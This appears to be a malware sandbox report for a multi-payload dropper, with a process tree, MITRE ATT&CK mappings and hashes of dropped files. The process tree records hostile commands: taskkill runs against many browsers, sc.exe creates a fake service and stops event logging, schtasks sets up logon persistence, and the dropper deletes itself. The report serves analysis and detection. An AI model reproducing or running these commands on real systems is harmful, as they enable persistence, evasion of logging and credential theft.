    "C:\Windows\System32\cmd.exe" /C cd "C:\Users\Admin\AppData\Roaming\AutoHotkey_1.1.33" && AutoHotkeyU64.exe ClipboardManager.ahk
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3860
  - - C:\Users\Admin\AppData\Roaming\AutoHotkey_1.1.33\AutoHotkeyU64.exe
      AutoHotkeyU64.exe ClipboardManager.ahk
      4⤵
      Drops startup file
      Executes dropped EXE
      PID:4636
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c ping localhost -n 2 > nul & del "C:\Users\Admin\AppData\Local\Temp\Files\live-013-0512.exe"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:4100
  - - C:\Windows\system32\PING.EXE
      ping localhost -n 2
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4920
- C:\Users\Admin\AppData\Local\Temp\Files\opyhjdase.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\opyhjdase.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3844
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    PID:2376
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe /T
    3⤵
    - Kills process with taskkill
    PID:1008
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM brave.exe /T
    3⤵
    - Kills process with taskkill
    PID:1736
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:3636
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM kometa.exe /T
    3⤵
    - Kills process with taskkill
    PID:1664
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM orbitum.exe /T
    3⤵
    - Kills process with taskkill
    PID:4980
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM centbrowser.exe /T
    3⤵
    - Kills process with taskkill
    PID:1284
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM 7star.exe /T
    3⤵
    - Kills process with taskkill
    PID:4764
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM sputnik.exe /T
    3⤵
    - Kills process with taskkill
    PID:4344
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:2464
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM epicprivacybrowser.exe /T
    3⤵
    - Kills process with taskkill
    PID:3740
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    PID:3244
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM uran.exe /T
    3⤵
    - Kills process with taskkill
    PID:2852
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM yandex.exe /T
    3⤵
    - Kills process with taskkill
    PID:3588
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM iridium.exe /T
    3⤵
    - Kills process with taskkill
    PID:4132
- C:\Users\Admin\AppData\Local\Temp\Files\xmr.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\xmr.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:4956
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "winmgr"
    3⤵
    - Launches sc.exe
    PID:3564
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "winmgr" binpath= "C:\ProgramData\winmgr\syswinprdrvc.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:4240
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:3852
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "winmgr"
    3⤵
    - Launches sc.exe
    PID:1028
- C:\Users\Admin\AppData\Local\Temp\Files\x64-setup.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\x64-setup.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2432
- C:\Users\Admin\AppData\Local\Temp\Files\access.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\access.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1568
- C:\Users\Admin\AppData\Local\Temp\Files\123.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\123.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  PID:3432
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "System.exe" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Win2934\HelpWin.exe" /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2400
- C:\Users\Admin\AppData\Local\Temp\Files\Round_Setup.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Round_Setup.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:908
- C:\Users\Admin\AppData\Local\Temp\Files\setup.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\setup.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3292
- C:\Users\Admin\AppData\Local\Temp\Files\DiscordSpotifyBypass.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\DiscordSpotifyBypass.exe"
  2⤵
  - Executes dropped EXE
  PID:2864
- - C:\Users\Admin\AppData\Local\Temp\onefile_2864_134238610259410130\DiscordSpotifyBypass.exe
    C:\Users\Admin\AppData\Local\Temp\Files\DiscordSpotifyBypass.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3084

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3488

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4388

C:\ProgramData\winmgr\syswinprdrvc.exe
C:\ProgramData\winmgr\syswinprdrvc.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4600
- C:\Windows\system32\dwm.exe
  dwm.exe
  2⤵
  PID:780

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4408

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4640

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1072

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3708

C:\Users\Admin\AppData\Roaming\Win2934\HelpWin.exe
C:\Users\Admin\AppData\Roaming\Win2934\HelpWin.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4832

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

background.exe

Path C:\Users\Admin\AppData\Local\68ee7156-7068-46de-9562-9ba32db3adfc\background.exe
Size 29.0MB
SHA256 384d494911d5e63e2deb58bedd63d4cefd10b71558937f32af75e6aa5202b098
MD5 c933634e14fd63263480a201c16900c3
SHA1 6e27373df38eb3c0c660640d43c9491cc23a8767
SHA512 8a86742f3ba571de1472e0314e8cb48cd72271885b2feb40c4095fbcdba9a52c5bf9dc8ea0645db7d89f6897a93d6b0794ceb78b88d26cc9ebe19f816142a4db
SSDEEP 393216:bBkxl398nS9Ydl6Qd+Av6bHxB5k9E2zCGPuX1+5N1eUNM8aSEorhxxB:9Iltk1GQd3Sb9kVGGsI1dM8dj9Z
TLSH
T13F6794C6E152FF86E2294E95FB037C3986E0CF286A653E6C4010F795E6CB342951FB61
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CFXBypass.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\CFXBypass.exe.log
Size 5KB
SHA256 158b475b57a8b1525545f4f4fb53abe1d8f98af14a08b3e9fb3f8fc8c54aa0f1
MD5 a13e96ad739e084bc663d29ef5a7b9ba
SHA1 9831d7799b83727ab8ac192b542754f26fe2606c
SHA512 aa57a367430d8caaf80b4035d94ff881102242b7bf6011c240eaf051c3a70e44c90012cad8feed681ebb67eac3f6b6a9dd4e04cdb154457528385d52b2d50a82
SSDEEP 96:iq4uYqGEofwml0q5+aIktIz+cxx+Am7vBPzQYr7xmkRtzYeqKmqzn0q+qCiNLh0U:iq4uYqGEowml0q5jIz+kExtzYeqKmqzP
TLSH
T1C4B1DE323375E0D4CD663F06192D19C463AF439AEA54AF48B258620EED2754BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

svchost.exe

Path C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
Size 6.0MB
SHA256 b448352bfabf1e0bc4f7ff82d0ab0c277a7e0bef5ef3ca94d3f4f0db6cc11686
MD5 87e775ce52d9ecce54b69d089264acec
SHA1 94dbc99aea1260e62afd4b063e888b2ffeb9c599
SHA512 91d4c075856022f50553aa5d38f2333572554053b784a4c224eaeb2139f71302642d29aa47a75bc07ffcfcad33db6961e98123407dc51331b2ec56800a02de66
SSDEEP 98304:FQiFytO1s/YLceSxJAyJh3ETWvR/2uWujfoTcBqNUK:FzFytO1s/ihSxJAyJh3E5uBO
TLSH
T1D856CE276D555453E41DC4BAE392562553B0EF3F2581CAE32040BBB178E23E4FAADF88
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

123.exe

Path C:\Users\Admin\AppData\Local\Temp\Files\123.exe
Size 953KB
SHA256 bb9ab94531de014f6561768f39cd059c630c5ce07828d124fd5150bcd70d5b90
MD5 37034a2d741209c3f0a3a7f464a64aa4
SHA1 705c8f2055fd49bb6f41b7bef4ff65f09fb4a287
SHA512 f56c3efd67d7ecea0cb6b64bdc67194f8ee955b94b762218da1d6426d90741d186bad82f0a6d26c5a9c21757b32dea083e857bdee44d44ac7e5cbb7c551e88c0
SSDEEP 24576:hXUerxJzck+uGW/yFoBkkAQD0wZ7P18q8ZhG11:hXUerTYjqqanT9tevG1
TLSH
T15D25CF90B3F4851BE1FF1B79E4B249494BB7B9525A76DB4F188890AD1FB37408E103A3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CFXBypass.exe

Path C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe
Size 36KB
SHA256 9df11356c5ac61d2aa7b5425e6322fc016b0ed5790dacb201396500b3eee03f7
MD5 64eb7ad3aaf9b6639ccc5c0b30b6e59f
SHA1 1eb377e01e1e649b3290efb0160f25cb5d13bd21
SHA512 a6c32d40bc2a053c53f5db04e45a960695b33422cec59a58cd526cccfa8ceadbb1926ffdc8cb429f748cb2286b2bb33af3577e07e8ecd7f01901c22055634cb0
SSDEEP 768:dmQZqx1lYcTYbFyf8qsIVeljnbaoXbYC10kof:d0lYisIVeljRbPof
TLSH
T1D7F23B49BB58C12ADBAF0E7D75621A50167197521203CFD53ECC65EEFF937008612B8B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DiscordSpotifyBypass.exe

Path C:\Users\Admin\AppData\Local\Temp\Files\DiscordSpotifyBypass.exe
Size 6.4MB
SHA256 b012035f4bec9de8a07dfb79756244a1a05a7f5d0a09b464c5f3798ec1a525d1
MD5 615b9afd526aabaa3cf99b42cf7c4b84
SHA1 59b0457093c0799bed5f128544b4a123a0354b4a
SHA512 cf4688f35e3a5f711002b1d82d26be5d6d8c92f98d929ed4464dedc88efe222861a5209787a1cb5cbb7428046d2a0aeafa60f5cb335acf6e954feee1ab15ecdc
SSDEEP 196608:cxW7V0sT/6rDD67wr7ILSzZmgy+5ZeA79uSUU0djBF:YWV0sj6rvewr7ILSz4wek9uSUUEb
TLSH
T1FA66330A73E459EDD18350B2C8AB1B51F3713825030197DA53D6B26AEF3B6F05E2EB25
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Round_Setup.exe

Path C:\Users\Admin\AppData\Local\Temp\Files\Round_Setup.exe
Size 4.1MB
SHA256 80de269730b6f243a049247d50871957b669ecd637b9b50d5270aaf1a3c79709
MD5 35db0370aca16c73122c49fd33e03383
SHA1 e2266ab39bd2b7b299de4ced067f7e7de3d94fb0
SHA512 c9312c68fcd5beb19ae172615c9bdcce483f2242811342065e0b1a1bbac38005170d948cc21898da04bfa5786603a8e9716000b7fc4e5c6262d77841462ecdbd
SSDEEP 49152:XgCDnuF82Ly2K2kf2SFtnSU6ii1SIQ1bcna1dBLAqvVXmInfezAQZEYijwTlHAYo:bjuFRhkf2uVYy1Y2jvVXnW+TV
TLSH
T1A4166C61A99C1FF0F5E7CD3A5C4D97692721396BE705C7E3382DC3784D93296AE02A08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

access.exe

Path C:\Users\Admin\AppData\Local\Temp\Files\access.exe
Size 72KB
SHA256 e6546048ed1bbfb903629cb7ec600c1bfc6e7085ea96e73022747f38f19730ce
MD5 5af2fd64b9622284e9cb099ac08ae120
SHA1 96976bf0520dd9ec32c691c669e53747c58832fb
SHA512 a393b2017a53c6b768761bab71439e280ef7ba357930b2c912aea338d66800b04d969f8716d5c19714e34d71d9c436dc2e97282a5a712f46d5f0d7bfa0f956e3
SSDEEP 1536:IlSbjVKXnOUW58tgWPbFYXyabPD+7CMb+KR0Nc8QsJq39:sSbjLUWRWPbF6LwCe0Nc8QsC9
TLSH
T13E73B042D8C41566D192237E17B53AB5A971F1FA3212C2DA368CCDE5D7C1CB0A27A3C7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

live-013-0512.exe

Path C:\Users\Admin\AppData\Local\Temp\Files\live-013-0512.exe
Size 2.2MB
SHA256 683e886963d1644a6369652d94410c1fdde649108821860fbdca00eb97a12508
MD5 75be17dc9dd70f3964bc581d82ead03f
SHA1 d08c4f386a480b6590fb1f23c45b73d53a13b2d7
SHA512 cba7246c110dcf339159988048127f32fc7d18eb4f3d00ce8d61f105fc011d747ac9c7fe7af37d973912ea1e1eef9558bd73ca452cb56176f46149a818aeb7ab
SSDEEP 24576:InuFS1pfiCy80HPSkmP7LOeYlJwPcaMchWEdKcQn6gE7If6HAAAAAAAczd4BER:muFGfL6IjrKzE7O6HAAAAAAAcK6
TLSH
T1A3A5693CB82C0172F611EDBFEBC6FA94D0327122639149E315578F929D6B28A9531F36
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

opyhjdase.exe

Path C:\Users\Admin\AppData\Local\Temp\Files\opyhjdase.exe
Size 14.6MB
SHA256 d336273cee697dec1b8f9e1643005a2cd8b80305e9f8dc257ab69d2322f38927
MD5 0d53256905411410fcfbbbcda13abdbb
SHA1 cdea834f452864559cf7471614948cbc575e0fcb
SHA512 d6d2f8973cfda896edd0869a76773d14dc9a866be31fd1629c8cc9139ff18f1c7d84a6321cac1369d254eb64edb6bc7f7ba3d905c0622a6e5dc84faa813122f9
SSDEEP 98304:3FM5G8lhjLZgAZV+zSnlRh+4k54AjnK0NW9cDF0F3gpLDv0hsi2J//ZczCJR7NW+:346ze+BjjMELDRim//ZcuJR7NWjMZ
TLSH
T18CF68D47E8B606D9C0A99236C66796537B347C884B31A3D76BA0B7382F73BD05B79700
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

setup.exe

Path C:\Users\Admin\AppData\Local\Temp\Files\setup.exe
Size 3.9MB
SHA256 39d6c2455cdf6ef9b7b96cbf6172d1a8d3b9d5719b79ff44d47697ec40f7e209
MD5 baa233893561d2c4bbd4d2519909e5f6
SHA1 985b00751d9e3cfba3e5a0a581eb5d238db9c302
SHA512 2c3fd095e8127383cc8a425859d73e26fb48e9290775fddd7da5c5033fdfb469958000d9c04dafb6bc1f1cec48b8f49a3778c2aeebef4e12b436058f6213db78
SSDEEP 98304:L0Fxb8yuO+WFwLId3DUVxaZumRdhfCqcqmP/tF:L0Fxb8yuO+JLA3DUuq
TLSH
T1EB165A21B68EC42BD56605B01B2CAAEF912CBD260B6148D7B3DC7D6B27755C30233E67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x64-setup.exe

Path C:\Users\Admin\AppData\Local\Temp\Files\x64-setup.exe
Size 2.3MB
SHA256 9ba1fdde2cc64be99ce8b98fa34cd602949d13c72a7b84fa5da6828cec12c5d9
MD5 2b503de14ff4a3e939492e21033aff3b
SHA1 7407ace444d8e72c1503e660a466bc892d6c4827
SHA512 13594f236b6132db50c309c05e98fdc7081ff8ce1b69032da696a8c17942fe80133f865c880a77604c8e0ca3c3befaa280670af6208db3b6ee635ef0506e9b60
SSDEEP 24576:L4l6cPDrFHbq7BWPxs+fZmKz4TNRRu711wFMvVIH06iyYr/cw1:k5BqFWPxs+fZmUwZu7z+QIU6iRX
TLSH
T1C0B56C22BA9A94ACC16AC4B483478A726A3174CB0B31B9FF01D495793F69EF51F3C714
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xmr.exe

Path C:\Users\Admin\AppData\Local\Temp\Files\xmr.exe
Size 6.8MB
SHA256 9639f7ebc6a6d69d7bf5b8bc869e7783a1406088f192868624ad8919e9bfd1d4
MD5 083d5895283755a910b5c59d60a5348b
SHA1 0d94bf4d0418061907ff7977e3f25a463cb25188
SHA512 4ae34f0e50843182f780d1e31b1226db5f831e6d48c1cfe9448c0c2da558a334f0ee37d00dfbe84c80e7d54a17eed1cc8b56b34da71123b65541a4dc58076f10
SSDEEP 196608:Od8aiP1kVGff0MYA9ZHP6mJhimlsM0sH86TTS6k:OWlMyhJDse/5
TLSH
T188660246297FA774A367A3848BD1E5739AAF4639FE55853036233CEB9F1049400B0EE7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Temp\Local Storage\leveldb_7.temp\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Temp\Session Storage_8.temp\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

CURRENT.6

Path C:\Users\Admin\AppData\Local\Temp\Session Storage_8.temp\CURRENT.6
Size 16B
SHA256 4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611
MD5 aefd77f47fb84fae5ea194496b44c67a
SHA1 dcfbb6a5b8d05662c4858664f81693bb7f803b82
SHA512 b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_3hyhgktk.zjm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3hyhgktk.zjm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

DiscordSpotifyBypass.exe

Path C:\Users\Admin\AppData\Local\Temp\onefile_2864_134238610259410130\DiscordSpotifyBypass.exe
Size 8.1MB
SHA256 d323c12e793dfe9e9cbb1ff64762d823444dc3a24982cb76e4c643f2ac051f57
MD5 7bb1ad3ad6faaabff5f1a437a40c3264
SHA1 a2d7f473f25941971d9308844133ebccd16df142
SHA512 f1adb05ac3f124d11b5fbd5bcf80c10214dfd173159aadd414b6267f19dd548d9905ac21ea738055e597a832fe1d314bb8dbe879bf01fba40bff3ed8f662d3ce
SSDEEP 98304:ke+IG7w2ZlEwxpyv992czR1OerwLofxbGwERrKtfgEd:j+DE+AEcz3
TLSH
T1FF864A9121941097FAA6F6BDB96A8684EB72B42A370755D7708CC18D3F07DE41AFF08C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python310.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_2864_134238610259410130\python310.dll
Size 4.2MB
SHA256 f281c2e252ed59dd96726dbb2de529a2b07b818e9cc3799d1ffa9883e3028ed8
MD5 384349987b60775d6fc3a6d202c3e1bd
SHA1 701cb80c55f859ad4a31c53aa744a00d61e467e5
SHA512 6bf3ef9f08f4fc07461b6ea8d9822568ad0a0f211e471b990f62c6713adb7b6be28b90f206a4ec0673b92bae99597d1c7785381e486f6091265c7df85ff0f9b5
SSDEEP 49152:+RYsIZfypUacEN7z1NR6JYL911cdl40pPQKE30tBuQS6BqL902zJAysI6maHmbM9:YYsI5xKZ4JxsvAI6xHEMb5Hs9d
TLSH
T1A1267C22A35401A4DAB78477C5278747DBF2FC552F20D34A41A4BAD92F73BA316EE702
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_2864_134238610259410130\vcruntime140.dll
Size 94KB
SHA256 e1d6f78a72836ea120bd27a33ae89cbdc3f3ca7d9d0231aaa3aac91996d2fa4e
MD5 11d9ac94e8cb17bd23dea89f8e757f18
SHA1 d4fb80a512486821ad320c4fd67abcae63005158
SHA512 aa6afd6bea27f554e3646152d8c4f96f7bcaaa4933f8b7c04346e410f93f23cfa6d29362fd5d51ccbb8b6223e094cd89e351f072ad0517553703f5bf9de28778
SSDEEP 1536:yDHLG4SsAzAvadZw+1Hcx8uIYNUzUnHg4becbK/zJrCT:yDrfZ+jPYNznHg4becbK/Fr
TLSH
T14C936B4A76A442BBD06BD274C1E34A1AF770B8408B3093CF07B6866A5F67BE05E3D355
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AutoHotkeyU64.exe

Path C:\Users\Admin\AppData\Roaming\AutoHotkey_1.1.33\AutoHotkeyU64.exe
Size 1.1MB
SHA256 0a9964fe0e0fb3f0679df317a65f9945c474dab8c4370b45b93da64a8b201b9f
MD5 830d938d575de3df6c7d3c0ee751ad9b
SHA1 5f968f58c8cb23143b693b82b2ea6259be981d0c
SHA512 682bfe0f1761775016a386aa237720e1283290c70d1ed87c636f7248153475933e5682010f262f8ebc0f9fa6bed7157c5fddba88d3d38b15d58af10a6eb400d5
SSDEEP 24576:GKGZxAwZr+BxGoERE4J8b0pFzka306/UPju8bh:EZxAw8BxGoEJhzkaL/UPjv
TLSH
T1D1459E4773E6C1E8DFB781F6C9354222E6717C1107288BEB25A0952EEFB3A905B36711
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ClipboardManager.ahk

Path C:\Users\Admin\AppData\Roaming\AutoHotkey_1.1.33\ClipboardManager.ahk
Size 9KB
SHA256 bc73b2d5f6523f8068db5d877e7ba1378ed6df3eb27d06950c70b2b9f408d131
MD5 c010491b6299a0860df81eb812345bd5
SHA1 14f5b2f0bd9441d5af6557c7d921ee8802bc3496
SHA512 62e3949fd36d238fc9701c213ddaef88af36a3af1dbc8aa57df029b06a3919a7a37c8a42ca436538aa30ad3882211008e0cd124aaaf8a3315d570fd323e5a445
SSDEEP 192:e2PhsAX4IKOfEjdFt7yPCX4qO23lg/2hAvfDQfWxQ+kIGifsjmFqemJnHLl+09Q5:eEh0sCAJQ+k3cyqqeqIXNJB
TLSH
T1F722435DDE428FB54F3E0C88808E956AAFE9A3E12C605B655C7102F45B7F089C822CDF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 6KB
SHA256 8932958d1d1ff8034938421fd0c582a05bb9e41b93e919998eb93670e5588f82
MD5 aa22d9df428b0b5fba9b557cb97c5e07
SHA1 c34c5434addd2003d77701efcdea7df50b2e7d44
SHA512 68296e485f8f197d99d7c76729dbab3150f7b326ee34fa27d817289e1729ab3e7b487b2d80b89adefe11a3bed3aad97384aa06a5d2cdf088d64c14c057c0c793
SSDEEP 96:cAIX73CYkeS9muLFukvhkvCCtOb9G75NQHHG75NQHa:cAwGeQLckG7DUG7DD
TLSH
T17AD1AA0023F25B09E5B68E3968B6A721E372FC01DF4AEBCF624055599C31625E93C76F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 6KB
SHA256 990eb6f1008e06afb39e9c46a5f29bc6166bc4eef47a6899d8b072f0ad170b7c
MD5 ffd1696b6a8d6aaabcf47c1a66437ba9
SHA1 5d0abe7a52ab2692effb2e4765c3c152a80aea3b
SHA512 ac3d5cd9bd86303a44e6e339e3a713d0f46eeb69148d62a62f52c9912e47063c2b15d373531a2a17b8f4fe4a940c63e19671cd595c4f98b0e54f14758e643b8d
SSDEEP 96:zwA3CQeStuLFukvhkvCCtOb9G75NQHHG75NQHa:zwANexLckG7DUG7DD
TLSH
T1D7D19B0023F25B09E5B68A396CB6A720A372FC41DF4AEBCF624055599C30625E93C76F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ahk.zip

Path C:\Users\Admin\AppData\Roaming\ahk.zip
Size 561KB
SHA256 1403b38af4b8857f1e11c850319a98df5f5411e471f6ec80f9a0eb28a8f44195
MD5 0af039afbfdca2ca2b5139f09cad00b2
SHA1 0184a28dc944adbc257fd7b1d791e50a0315f907
SHA512 c95c3b8b1eff12af939355cf5a44c18bbd58052e741f64b356dbbb0b3a08ec9832b506fc9d8ba294410040d86d579901cdc505b3a2a8fb311063d4ddf2029701
SSDEEP 12288:onqkE527TbbeblYouPyhyF6mKHZGIOscoqDAHtrz:oE2H/ebeBsIWZbcoqENn
TLSH
T179C423A6AF62FDE59565E732D94D9A37E60AC9CCC4442F4AB63D06E086B134CFE78001
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/444-126-0x000001946B450000-0x000001946B503000-memory.dmp

Download

memory/780-319-0x0000000140000000-0x000000014082E000-memory.dmp

Download

memory/780-314-0x0000000140000000-0x000000014082E000-memory.dmp

Download

memory/780-333-0x0000000140000000-0x000000014082E000-memory.dmp

Download

memory/780-332-0x0000000140000000-0x000000014082E000-memory.dmp

Download

memory/780-322-0x0000000140000000-0x000000014082E000-memory.dmp

Download

memory/780-321-0x0000000140000000-0x000000014082E000-memory.dmp

Download

memory/780-323-0x0000000140000000-0x000000014082E000-memory.dmp

Download

memory/780-317-0x0000000140000000-0x000000014082E000-memory.dmp

Download

memory/780-320-0x0000000140000000-0x000000014082E000-memory.dmp

Download

memory/780-318-0x000001C89CC80000-0x000001C89CCA0000-memory.dmp

Download

memory/780-307-0x0000000140000000-0x000000014082E000-memory.dmp

Download

memory/780-310-0x0000000140000000-0x000000014082E000-memory.dmp

Download

memory/780-311-0x0000000140000000-0x000000014082E000-memory.dmp

Download

memory/780-312-0x0000000140000000-0x000000014082E000-memory.dmp

Download

memory/780-313-0x0000000140000000-0x000000014082E000-memory.dmp

Download

memory/780-306-0x0000000140000000-0x000000014082E000-memory.dmp

Download

